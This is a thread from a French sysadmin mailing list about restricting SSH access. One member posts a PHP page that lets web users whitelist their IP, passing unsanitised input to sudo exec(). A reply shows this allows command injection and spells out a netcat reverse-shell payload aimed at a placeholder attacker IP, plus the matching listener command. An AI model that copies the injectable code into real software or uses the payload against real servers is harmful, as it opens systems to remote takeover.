Hello,
au vu du morceau de php indiqué, il suffit d'envoyer le formulaire avec
:
; nc <IP attaquant> 5555 -e /bin/bash
du côté attaquant lancer :
$ nc -lvp 5555
Et voilà un reverse shell simpliste qui contourne l'auth ssh.
--
Julien.
Le 01/05/2024 21:33, Ludovic LEVET via FRsAG a écrit :
Heu ...
Déjà :
1) Si tu as pas le vhost + url complete, ben t'arriveras déjà a rien
...
2) l'auth https + 2fa , oui pas de brute force dessus si configuré
correctement (max retry 3, fail2ban ... )...
3) Bon ... (Mode Bigard On ..) En admettant que la chauves-souris elle
trouve le code de la porte , elle connaisse l’étage de ton appart et
qu'elle connaisse aussi ton numéro de porte ben elle ouvres son ip au
ssh et ben il lui reste plus qu'a attaquer l'auth ssh ...
Bon courage a la chauves-souris ...
Ludo.
Le 01/05/2024 à 20:47, David Ponzone a écrit :
C’est pas une critique mais ça veut dire que tu fais plus confiance à
l’auth HTTPS qu’à l’auth SSH ?
David
Le 1 mai 2024 à 20:34, Ludovic LEVET via FRsAG <frsag@frsag.org> a
écrit :
Il ne faut jamais laisser le port ssh directement sur le net sans
filtrage de la source ...
Mettre en place par exemple un "site" web d'ouverture du/des ports.
Par exemple un vhost :
https://remoteadm.mydomain.com/server1/
Mise en place :
Créer un vhost sur le serveur (beaucoup mieux : créer un vhost sur un
serveur tiers qui renvoie les requêtes par ProxyPass apres
authentification)
Ce serveur est configuré pour donner l’accès à la ressource web par
user/password + 2fa
Sur le serveur de destination (donc pas le frontal plus haut mais
celui concerné par la demande d'ouverture de ports):
Dans /etc/rc.local (ou equivalent en service)
ipset create trusted-ip hash:net family inet
iptables -A INPUT -i eth0 -d x.x.x.x -m set --match-set trusted-ip
src -p tcp -m multiport --dport 22,25 -j ACCEPT
iptables -A INPUT -i eth0 -d x.x.x.x -m state --state
ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -i eth0 -d x.x.x.x -p icmp -j ACCEPT
iptables -A INPUT -i eth0 -d x.x.x.x -j DROP
#Restoration des IPs autorisées au boot :
/var/www/dummy/trusted-ip.sh
cat /etc/sudoers.d/httpd
apache ALL=(ALL) NOPASSWD:/usr/sbin/ipset
apache ALL=(ALL) NOPASSWD:/usr/bin/echo
apache ALL=(ALL) NOPASSWD:/usr/bin/sed
exemple de la page index.php sur le serveur distant :
cat /var/www/vpn/index.php
<html>
<body>
IP Detection :
<a href="http://checkip.dyndns.org"
target="popup"
onclick="window.open('http://checkip.dyndns.org/','popup','width=400,height=100');
return false;">
Verify on checkip site
</a>
<br>
<?php
$ip = $_SERVER['REMOTE_ADDR'];
echo "<br>";
echo "<form method='post' action='index.php'>";
echo " <label for='fname'>IP address detected : </label>";
echo " <input type='text' id='fname' name='fname' value='$ip'>";
echo " <input type='submit' NAME='validation' value='Trust it !'>";
echo "</form>";
echo "<form method='post' action='index.php'>";
echo " <label for='fname'>IP address to remove : </label>";
echo " <input type='text' id='fname' name='fname' value=''>";
echo " <input type='submit' NAME='removing' value='Remove it !'>";
echo "</form>";
if (isset($_POST['validation'])) {
$ip = $_POST['fname'];
$return = exec("sudo echo 'ipset add trusted-ip '$ip >>
/var/www/dummy/trusted-ip.sh");
$return = exec("sudo ipset add trusted-ip $ip 2>&1");
echo "$ip is trusted now";
}
if (isset($_POST['removing'])) {
$ip = $_POST['fname'];
$return = exec("sudo sed -i '/$ip$/d'
/var/www/dummy/trusted-ip.sh");
$return = exec("sudo ipset del trusted-ip $ip 2>&1");
echo "$ip is delete now";
}
if (isset($_POST['clean'])) {
$return = exec("sudo ipset flush trusted-ip 2>&1");
}
echo "<br><br>";
$list = shell_exec("sudo ipset list trusted-ip");
echo nl2br($list);
echo "<br>";
echo "<form method='post' action='index.php'>";
echo " <input type='submit' NAME='clean' value='Clear all !'>";
echo "</form><br>";
?>
<BR> <BR>
<CENTER><input type="button" value="Refresh Page"
onClick="location.replace('index.php');"></CENTER>
<BR> <BR>
</body>
</html>
C'est juste un exemple que j’utilise depuis des années.
Le serveur frontal https gère les autorisations et renvoie la demande
par ProxyPass au serveur concerné via la directive <Location xxx>
Un seul frontal suffit pour plusieurs serveurs :
Serveur 1 :
https://remoteadm.mydomain.com/serveur1/
Serveur 2 :
https://remoteadm.mydomain.com/serveur2/
...
Ludo.
Le 30/04/2024 à 15:34, Louis G. via FRsAG a écrit :
Filtrer les IP autorisées à se connecter, tout simplement ? :)
iptables -A INPUT -s 1.2.3.4/32 -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j DROP
Mouarf, je suis pas fan. Si on autorise le télétravail (mais qui
fait ça en 2024 ? 🙃), alors l’IP des admins est rarement fixe, donc
ça impose de monter un VPN pour passer par l’IP du bureau. Et quitte
à monter un VPN, autant ne plus exposer le SSH sur Internet.
Tu peux éventuellement restreindre à des CIDR genre ceux des BOFS,
mais faut le maintenir (et ça empêche pas tous les scans).
<Avis perso (ou pavé dans la mare ?) > De toute façon le LAN admin
isolé d’Internet, ça devrait faire partie des pratiques de base
appliquées en 2024 😊 </avis perso>
Louis
_______________________________________________
Liste de diffusion du %(real_name)s
http://www.frsag.org/
--
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Ce message inclut une signature numérique. Il certifie que
l'expéditeur et le contenue du message sont authentiques.
Si votre logiciel de messagerie est compatible, Il doit garantir que
le document n'a pas été altéré entre l'instant où l'auteur l'a signé
et le moment où le lecteur le consulte.
Loi n°2000-230 du 13 mars 2000 Art. 1316, 1316-1, 1316-2, 1316-3,
1316-4 du Code civil.
La présence d'un fichier joint 'smime.p7s' et/ou
'OpenPGP_signature.asc' (fichier signature) indique que votre client
messagerie n'est pas compatible.
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
_______________________________________________
Liste de diffusion du %(real_name)s
http://www.frsag.org/
_______________________________________________
Liste de diffusion du %(real_name)s
http://www.frsag.org/
_______________________________________________
Liste de diffusion du %(real_name)s
http://www.frsag.org/